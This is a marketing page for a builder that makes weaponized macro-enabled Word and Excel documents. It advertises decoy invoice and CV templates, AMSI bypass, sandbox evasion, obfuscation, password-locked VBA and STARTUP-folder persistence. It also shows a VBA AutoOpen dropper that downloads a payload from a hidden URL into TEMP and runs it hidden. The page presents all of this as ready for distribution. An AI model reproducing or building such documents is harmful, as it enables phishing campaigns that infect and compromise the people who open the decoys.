Office VBA · Word + Excel

Macro Builder.

.docm · .xlsm

Embeds your execution logic inside macro-enabled Microsoft Office documents (.docm, .xlsm). Leverages VBA to securely deliver and trigger local or web-hosted payloads on document initialization. Includes injection into pre-built decoy templates and full VBA project password protection.

Word + Excel

Hosts

Office 2010+

Compatibility

VBA Lock

Project Password

AutoOpen / AutoExec

Triggers

Overview

What is a weaponized macro doc?

A macro-enabled Office document (.docm for Word, .xlsm for Excel) is a ZIP-based Office Open XML container with an extra vbaProject.bin stream holding compiled VBA. When the user enables content, Office's VBA engine resolves auto-trigger handlers (AutoOpen, Document_Open, Workbook_Open, Auto_Open) and runs them.

Exploit Builder injects a hardened, obfuscated VBA module into authentic-looking template documents, applies a VBA project password to defeat casual inspection, and outputs a deliverable file ready for distribution.

Genuine Word/Excel templates with embedded weaponized macros
VBA project password lock — vbaProject.bin Dir-stream protected
String/array obfuscation, COM resolution at runtime, AMSI patching primitives
Optional decoy content shown after execution so the document looks legitimate

Execution Flow

How the builder works.

STEP 01

Provide Payload

Embedded payload (Base64-chunked) or remote URL. Builder picks strategy by size.

STEP 02

Pick Template

Choose decoy template: invoice, CV, financial report, internal memo. Builder bundles realistic visual content.

STEP 03

Configure VBA

Trigger (AutoOpen / Document_Open / event-based), AMSI bypass, sandbox checks, password.

STEP 04

Build & Lock

Output is a .docm or .xlsm with VBA project password applied. Ready for delivery.

Technical Details

Under the hood.

OOXML Construction

Builder writes a fully spec-compliant OOXML ZIP with [Content_Types].xml, word/document.xml/xl/workbook.xml, and a properly serialized vbaProject.bin CFB stream.

VBA Project Password

Sets the DPB protection in the PROJECT/dir streams of the CFB. Defeats casual VBA-editor inspection and most tooling that doesn't unwrap the password.

Trigger Handlers

Choose: AutoOpen (Word/Excel), Document_Open, Workbook_Open, AutoExec, or event-driven (Application_DocumentBeforeClose for delayed trigger).

AMSI Considerations

Optional AMSI provider hook patching for on-host detonation testing. Used solely in lab/research scenarios — disabled by default.

String & API Obfuscation

Per-build XOR/array obfuscation, indirect COM resolution (CallByName), JIT decryption of constants, comment/whitespace polymorphism.

Decoy Content

Authentic-looking visual content (invoice line items, CV body, balance sheet) so the document looks legitimate when the user reviews it post-enable.

module1.bas · simplified, post-obfuscation

Sub AutoOpen()
    Dim u As String, t As String
    u = Dec("a4..f8", k)            ' decrypt URL
    t = Environ("TEMP") & "\u.tmp"
    With CreateObject("MSXML2.XMLHTTP.6.0")
        .Open "GET", u, False: .Send
        Set s = CreateObject("ADODB.Stream")
        s.Type = 1: s.Open: s.Write .responseBody
        s.SaveToFile t, 2
    End With
    Shell t, vbHide
End Sub

Specifications

Module specs.

Output Formats	`.docm` (Word) · `.xlsm` (Excel)
Office Compatibility	Office 2010 / 2013 / 2016 / 2019 / 2021 / Microsoft 365
Trigger Handlers	AutoOpen · Document_Open · Workbook_Open · AutoExec · Event-driven
VBA Protection	Project password (DPB) — locks VBA editor inspection
Delivery Mode	URL stager (HTTPS via XMLHTTP) · Local embed (Base64-chunked inside the VBA module)
Obfuscation	String XOR · Array dispatch · CallByName indirection · Polymorphic layout
Decoy Templates	Invoice · CV · Financial report · Internal memo · Custom upload
Anti-Analysis	Cursor activity · Recent docs · Hostname filter · Sleep skewing
Persistence	Optional Word/Excel `STARTUP` folder drop